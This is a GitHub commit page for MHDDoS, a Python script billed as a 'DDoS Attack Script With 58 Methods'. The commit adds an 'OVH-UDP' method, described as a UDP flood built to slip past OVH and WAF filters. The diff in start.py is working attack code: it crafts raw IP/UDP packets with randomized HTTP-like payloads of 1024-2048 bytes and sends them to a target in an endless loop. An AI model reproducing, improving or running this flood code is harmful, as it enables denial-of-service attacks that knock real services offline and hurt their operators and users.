Skip to content

Commit 608b38d

Browse files
committed
Added OVH-UDP
1 parent e9d0e8d commit 608b38d

File tree

2 files changed

+48
-2
lines changed

2 files changed

+48
-2
lines changed

README.md

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,4 @@
1-
<h1 align="center">MHDDoS - DDoS Attack Script With 57 Methods</h1>
1+
<h1 align="center">MHDDoS - DDoS Attack Script With 58 Methods</h1>
22
<em><h5 align="center">(Programming Language - Python 3)</h5></em>
33

44
<p align="center">
@@ -49,6 +49,7 @@
4949
* <img src="https://raw.githubusercontent.com/kgretzky/pwndrop/master/media/pwndrop-logo-512.png" width="16" height="16" alt="tcp"> TCP | TCP Flood Bypass
5050
* <img src="https://styles.redditmedia.com/t5_2rxmiq/styles/profileIcon_snoob94cdb09-c26c-4c24-bd0c-66238623cc22-headshot.png" width="16" height="16" alt="udp"> UDP | UDP Flood Bypass
5151
* <img src="https://cdn-icons-png.flaticon.com/512/1918/1918576.png" width="16" height="16" alt="syn"> SYN | SYN Flood
52+
* <img src="https://static-00.iconduck.com/assets.00/ovh-icon-2048x2048-l4c3izvg.png" width="16" height="16" alt="ovh"> OVH-UDP | UDP flood with randomized HTTP-like headers and binary payloads to bypass OVH and WAF filters.
5253
* <img src="https://cdn-icons-png.flaticon.com/512/1017/1017466.png" width="16" height="16" alt="cps"> CPS | Open and close connections with proxy
5354
* <img src="https://icon-library.com/images/icon-ping/icon-ping-28.jpg" width="16" height="16" alt="icmp"> ICMP | Icmp echo request flood (Layer3)
5455
* <img src="https://s6.uupload.ir/files/1059643_g8hp.png" width="16" height="16" alt="connection"> CONNECTION | Open connection alive with proxy

start.py

Lines changed: 46 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -128,7 +128,7 @@ class Methods:
128128
LAYER4_METHODS: Set[str] = {*LAYER4_AMP,
129129
"TCP", "UDP", "SYN", "VSE", "MINECRAFT",
130130
"MCBOT", "CONNECTION", "CPS", "FIVEM", "FIVEM-TOKEN",
131-
"TS3", "MCPE", "ICMP", "DISCORD",
131+
"TS3", "MCPE", "ICMP", "DISCORD", "OVH-UDP",
132132
}
133133

134134
ALL_METHODS: Set[str] = {*LAYER4_METHODS, *LAYER7_METHODS}
@@ -401,6 +401,7 @@ def __init__(self,
401401
"MCPE": self.MCPE,
402402
"FIVEM": self.FIVEM,
403403
"FIVEM-TOKEN": self.FIVEMTOKEN,
404+
"OVH-UDP": self.OVHUDP,
404405
"DISCORD": self.DISCORD,
405406
"MINECRAFT": self.MINECRAFT,
406407
"CPS": self.CPS,
@@ -472,6 +473,14 @@ def UDP(self) -> None:
472473
continue
473474
Tools.safe_close(s)
474475

476+
def OVHUDP(self) -> None:
477+
with socket(AF_INET, SOCK_RAW, IPPROTO_UDP) as s:
478+
s.setsockopt(IPPROTO_IP, IP_HDRINCL, 1)
479+
while True:
480+
for payload in self._generate_ovhudp():
481+
Tools.sendto(s, payload, self._target)
482+
Tools.safe_close(s)
483+
475484
def ICMP(self) -> None:
476485
payload = self._genrate_icmp()
477486
s = None
@@ -582,6 +591,42 @@ def MCPE(self) -> None:
582591
continue
583592
Tools.safe_close(s)
584593

594+
def _generate_ovhudp(self) -> List[bytes]:
595+
packets = []
596+
597+
methods = ["PGET", "POST", "HEAD", "OPTIONS", "PURGE"]
598+
paths = ['/0/0/0/0/0/0', '/0/0/0/0/0/0/', '\\0\\0\\0\\0\\0\\0', '\\0\\0\\0\\0\\0\\0\\', '/', '/null', '/%00%00%00%00']
599+
600+
for _ in range(randint(2, 4)):
601+
ip = IP()
602+
ip.set_ip_src(__ip__)
603+
ip.set_ip_dst(self._target[0])
604+
605+
udp = UDP()
606+
udp.set_uh_sport(randint(1024, 65535))
607+
udp.set_uh_dport(self._target[1])
608+
609+
payload_size = randint(1024, 2048)
610+
random_part = randbytes(payload_size).decode("latin1", "ignore")
611+
612+
method = randchoice(methods)
613+
path = randchoice(paths)
614+
615+
payload_str = (
616+
f"{method} {path}{random_part} HTTP/1.1\n"
617+
f"Host: {self._target[0]}:{self._target[1]}\r\n\r\n"
618+
)
619+
620+
payload = payload_str.encode("latin1", "ignore")
621+
622+
udp.contains(Data(payload))
623+
ip.contains(udp)
624+
625+
packets.append(ip.get_packet())
626+
627+
return packets
628+
629+
585630
def _generate_discord(self) -> bytes:
586631
ip: IP = IP()
587632
ip.set_ip_src(__ip__)

0 commit comments

Comments
 (0)